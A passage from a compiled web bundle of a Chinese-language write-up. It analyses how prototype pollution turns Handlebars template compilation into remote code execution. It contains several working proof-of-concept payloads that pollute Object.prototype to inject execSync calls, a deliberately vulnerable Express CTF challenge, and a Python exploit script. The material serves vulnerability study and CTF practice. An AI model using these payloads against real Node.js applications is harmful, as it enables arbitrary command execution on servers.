1n compiler: this.compilerInfo(),\n main: fn\n };\n\n if (this.decorators) {\n ret.main_d = this.decorators; // eslint-disable-line camelcase\n ret.useDecorators = true;\n }\n\n var _context = this.context;\n var programs = _context.programs;\n var decorators = _context.decorators;\n\n for (i = 0, l = programs.length; i < l; i++) {\n if (programs[i]) {\n ret[i] = programs[i];\n if (decorators[i]) {\n ret[i + '_d'] = decorators[i];\n ret.useDecorators = true;\n }\n }\n }\n\n if (this.environment.usePartial) {\n ret.usePartial = true;\n }\n if (this.options.data) {\n ret.useData = true;\n }\n if (this.useDepths) {\n ret.useDepths = true;\n }\n if (this.useBlockParams) {\n ret.useBlockParams = true;\n }\n if (this.options.compat) {\n ret.compat = true;\n }\n\n if (!asObject) {\n ret.compiler = JSON.stringify(ret.compiler);\n\n this.source.currentLocation = { start: { line: 1, column: 0 } };\n ret = this.objectLiteral(ret);\n\n if (options.srcName) {\n ret = ret.toStringWithSourceMap({ file: options.destName });\n ret.map = ret.map && ret.map.toString();\n } else {\n ret = ret.toString();\n }\n } else {\n ret.compilerOptions = this.options;\n }\n\n return ret;\n } else {\n return fn;\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u6267\u884c",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u7684\u5177\u4f53\u5b9e\u73b0\u6d41\u7a0b"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n \n\n // [pushLiteral]\n //\n // On stack, before: ...\n // On stack, after: value, ...\n //\n // Pushes a value onto the stack. This operation prevents\n // the compiler from creating a temporary variable to hold\n // it. \n pushLiteral: function pushLiteral(value) { // \u6ce8\u91ca\u4e5f\u5df2\u7ecf\u5f88\u6e05\u695a\u4e86\n this.pushStackLiteral(value); \n },\n \n pushStackLiteral: function pushStackLiteral(item) {\n this.push(new Literal(item));\n },\n \n function Literal(value) {\n \tthis.value = value;\n }\n \n push: function push(expr) {\n if (!(expr instanceof Literal)) {\n expr = this.source.wrap(expr);\n }\n\n this.inlineStack.push(expr);\n return expr;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u6267\u884c\u6700\u540e\u7684",(0,s.jsx)(n.code,{children:"append"}),"\u64cd\u4f5c\u7684\u65f6\u5019\u4f1a\u5c06",(0,s.jsx)(n.code,{children:"inlineStack"}),"\u4e2d\u7684\u5185\u5bb9pop\u51fa\u6765\u52a0\u5165\u5230",(0,s.jsx)(n.code,{children:"Source"}),"\u4e2d"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n append: function append() {\n if (this.isInline()) {\n this.replaceStack(function (current) {\n return [' != null ? ', current, ' : \"\"'];\n });\n\n this.pushSource(this.appendToBuffer(this.popStack()));\n } else {\n var local = this.popStack();\n this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);\n if (this.environment.isSimple) {\n this.pushSource(['else { ', this.appendToBuffer(\"''\", undefined, true), ' }']);\n }\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u662f\u521b\u5efa\u51fd\u6570\u4f53\u4e0a\u4e0b\u6587\uff0c\u5c06",(0,s.jsx)(n.code,{children:"source"}),"\u4e2d\u7684\u4e1c\u897f\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u51fd\u6570"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n createFunctionContext: function createFunctionContext(asObject) {\n // istanbul ignore next\n\n var _this = this;\n\n var varDeclarations = '';\n\n var locals = this.stackVars.concat(this.registers.list);\n if (locals.length > 0) {\n varDeclarations += ', ' + locals.join(', ');\n }\n\n // Generate minimizer alias mappings\n //\n // When using true SourceNodes, this will update all references to the given alias\n // as the source nodes are reused in situ. For the non-source node compilation mode,\n // aliases will not be used, but this case is already being run on the client and\n // we aren't concern about minimizing the template size.\n var aliasCount = 0;
1\n Object.keys(this.aliases).forEach(function (alias) {\n var node = _this.aliases[alias];\n if (node.children && node.referenceCount > 1) {\n varDeclarations += ', alias' + ++aliasCount + '=' + alias;\n node.children[0] = 'alias' + aliasCount;\n }\n });\n\n if (this.lookupPropertyFunctionIsUsed) {\n varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();\n }\n\n var params = ['container', 'depth0', 'helpers', 'partials', 'data'];\n\n if (this.useBlockParams || this.useDepths) {\n params.push('blockParams');\n }\n if (this.useDepths) {\n params.push('depths');\n }\n\n // Perform a second pass over the output to merge content when possible\n var source = this.mergeSource(varDeclarations); // \u628a\u539f\u672c\u7684source\u548cvarDeclarations\u62fc\u63a5\u8d77\u6765\n\n if (asObject) {\n params.push(source);\n\n return Function.apply(this, params);\n } else {\n return this.source.wrap(['function(', params.join(','), ') {\\n ', source, '}']); // \u5c06source\u5c01\u88c5\u6210\u51fd\u6570\n }\n },\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u751f\u6210\u6a21\u677f",children:"\u751f\u6210\u6a21\u677f"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options),\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); \n return env.template(templateSpec); // \u751f\u6210\u6a21\u677f\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars.runtime.js\n\nfunction create() {\n var hb = new base.HandlebarsEnvironment();\n\n Utils.extend(hb, base);\n hb.SafeString = _handlebarsSafeString2['default'];\n hb.Exception = _handlebarsException2['default'];\n hb.Utils = Utils;\n hb.escapeExpression = Utils.escapeExpression;\n\n hb.VM = runtime;\n hb.template = function (spec) {\n return runtime.template(spec, hb);\n };\n\n return hb;\n}\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u6a21\u677f\u51fd\u6570\u6267\u884c",children:"\u6a21\u677f\u51fd\u6570\u6267\u884c"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function ret(context, execOptions) {\n if (!compiled) {\n compiled = compileInput();\n }\n return compiled.call(this, context, execOptions); // \u6267\u884c\u51fd\u6570\u83b7\u53d6\u8fd4\u56de\u503c\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\runtime.js\n\n function ret(context) {\n var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths = undefined,\n blockParams = templateSpec.useBlockParams ? [] : undefined;\n if (templateSpec.useDepths) {\n if (options.depths) {\n depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;\n } else {\n depths = [context];\n }\n }\n\n function main(context /*, options*/) {\n return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths); \n }\n\n main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // \u5bf9main\u51fd\u6570\u8fdb\u884c\u88c5\u9970\n return main(context, options); // \u6267\u884cmain\u51fd\u6570\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",children:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'(function anonymous(container,depth0,helpers,partials,data\n) {\n var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {\n if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {\n return parent[propertyName];\n }\n return undefined\n };\n\n return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(
1depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");\n\n})\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u6f0f\u6d1e\u6838\u5fc3\u5728\u4e8e\u6c61\u67d3\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\u7684",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u64cd\u4f5c\uff0c\u5176\u4e2d\u53ef\u4ee5\u7528\u5230",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u7c7b\u578b\u548c",(0,s.jsx)(n.code,{children:"BooleanLiteral"}),"\u7c7b\u578b"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u4ee4",(0,s.jsx)(n.code,{children:"type"}),"\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\u7ed5\u8fc7",(0,s.jsx)(n.code,{children:"Lexer"}),"\u89e3\u6790\u5668\uff0c\u4ece",(0,s.jsx)(n.code,{children:"compiler.js"}),"\u627e\u5230\u53ef\u7528\u7684",(0,s.jsx)(n.code,{children:"Gadget"})]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5728\u5bfb\u627e",(0,s.jsx)(n.code,{children:"Gadget"}),"\u65f6\u6ce8\u610f\u4fdd\u6301\u8bed\u6cd5\u6811\u7684\u6808\u5e73\u8861\uff0c\u4e0d\u7136\u4f1a\u5728\u7f16\u8bd1\u7684\u65f6\u5019\u629b\u51fa\u5982\u4e0b\u9519\u8bef\uff0c\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48\u6211\u4eec\u9700\u8981\u501f\u52a9",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u7c7b\u578b\u6ce8\u5165\u6211\u4eec\u7684payload\uff0c\u800c\u4e0d\u80fd\u76f4\u63a5\u5c06",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u6ce8\u5165\u5230",(0,s.jsx)(n.code,{children:"body"}),"\u4e2d"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"/* istanbul ignore next */\nif (this.stackSlot || this.inlineStack.length || this.compileStack.length) {\n throw new _exception2['default']('Compile completed with content left on stack');\n}\n"})}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u62d3\u5c55",children:"\u62d3\u5c55"}),"\n",(0,s.jsx)(n.h3,{id:"booleanliteral",children:"BooleanLiteral"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u66ff\u6362\u4e3a",(0,s.jsx)(n.code,{children:"BooleanLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "params": [{\n "type": "BooleanLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"partialstatement",children:"PartialStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"PartialStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "PartialStatement",\n "name": "",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }]\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"partialblockstatement",children:"PartialBlockStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"PartialBlockStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "PartialBlockStatement",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "name": 0,\n "openStrip": 0,\n "closeStrip": 0,\n "program": { "body": 0 },\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"blockstatement",children:"BlockStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"BlockStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "BlockStatement",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "path": 0,\n "loc": 0,\n "openStrip": 0,\n "closeStrip": 0,\n "program": { "body": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"decorator",children:"Decorator"}),"\n",(0,s.jsxs)(n.p,{children:["\u89e6\u53d1\u70b9\u548c\u4e0a\u9762\u7684\u6709\u6240\u5dee\u5f02\uff0c\u8fd9\u4e2a\u662f\u5728\u88c5\u9970",(0,s.jsx)(n.code,{children:"main"}),"\u51fd\u6570\u7684\u65f6\u5019\u63d2\u5165\u81ea\u5b9a\u4e49\u4ee3\u7801"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "Decorator",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n\t"path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"inf-hash",children:"inf Hash"}),"\n",(0,s.jsxs)(n.p,{children:["\u65e0\u9650\u5185\u5d4c",(0,s.jsx)(n.code,{children:"Hash"}),"\u7c7b\u578b"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "params": [{\n "type": "Hash",\n "pairs": [{\n "value":{\n "type": "Hash",\n "pairs": [{\n "value":{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }}]\n }}]\n }],\n "path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u4f8b\u9898",children:"\u4f8b\u9898"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sh",children:'const express = require(\'express\');\nconst app = express();\nconst fs = require("fs")\nconst mergeValue = require("merge-value")\nconst bodyParser = require(\'body-parser\')\nconst handlebars = require("handlebars");\napp.use(bodyParser.json())\n\n/*\n"dependencies": {\n "body-parser": "^1.19.0",\n "express": "^4.17.1",\n "merge-value": "^0.1.1",\n "handlebars": "^4.7.7"\n }\n */\napp.post(\'/template\', function (req, res) {\n let defaultTemplate = {\n "text": {\n "title": "WriteUp"\n },\n "template": "{{this.title}}{{this.body}}",\n "waf": {\n "black1": "__proto__",\n "black2": "programa"\n }\n }\n //\u7981\u6b62\u8986\u76d6\u539f\u59cb\u7684waf\u503c\n if(req.body.wafkey && req.body.wafdata) {\n if (defaultTemplate["waf"][req.body.wafkey]) {\n defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]\n } else {\n defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]\n }\n }\n //\u53d6\u51fa\u6240\u6709\u7684waf\u503c\n let waf = defaultTemplate["waf"]\n let wafList = []\n for(let wafWord in waf){\n wafList.push(waf[w
1afWord])\n }\n for(let requestKey in req.body){\n if(typeof req.body[requestKey] === \'string\'){\n for(let index in wafList){\n if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){\n res.send("waf");\n return;\n }\n }\n }\n }\n let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)\n // console.log(templateData,defaultTemplate)\n let template = handlebars.compile(templateData["template"]);\n res.send(template(templateData["text"]));\n});\n\napp.get(\'/\', function (req, res) {\n res.send(\'see `/src`\');\n});\n\n\napp.get(\'/src\', function (req, res) {\n var data = fs.readFileSync(\'index.js\');\n res.send(data.toString());\n});\n\napp.listen(3000, function () {\n console.log(\'start listening on port 3000\');\n});\n\n'})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\u9898\u76ee\u73af\u5883"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{\n "dependencies": {\n "body-parser": "1.19.0",\n "express": "4.17.1",\n "handlebars": "4.7.6",\n "merge-value": "1.0",\n "mixin-deep": "^1.2.0",\n "set-value": "^2.0.0"\n }\n}\n\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7 ",(0,s.jsx)(n.code,{children:"mergeValue"})," \u539f\u578b\u94fe\u6c61\u67d3\uff0c\u53bb\u6c61\u67d3 ",(0,s.jsx)(n.code,{children:'templateData["text"]'})," \u7684",(0,s.jsx)(n.code,{children:"__proto__"})," \uff0c\u7531\u4e8e\u524d\u9762\u603b\u7ed3\u7684\u5f88\u5230\u4f4d\u6211\u8fd9\u91cc\u5c31\u8865\u5145\u4e00\u4e0b\uff0c\u8fd9\u91cc\u662fwp"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python3",children:'import requests\n\npayload = {\n "__proto__": {\n "type": "Program",\n "body": [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'open -a Calculator\').toString())"\n }],\n "loc": {\n "start": 0\n }\n }]\n }\n}\n\nurl = "http://192.168.3.91:3000/template"\ndata = {\n "pathKey": "text",\n "data": payload\n}\nprint(data)\ntext = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})\nprint(text.text)\n\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20251014205208357",src:t(44449).A+"",width:"1712",height:"1236"})})]})}function p(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.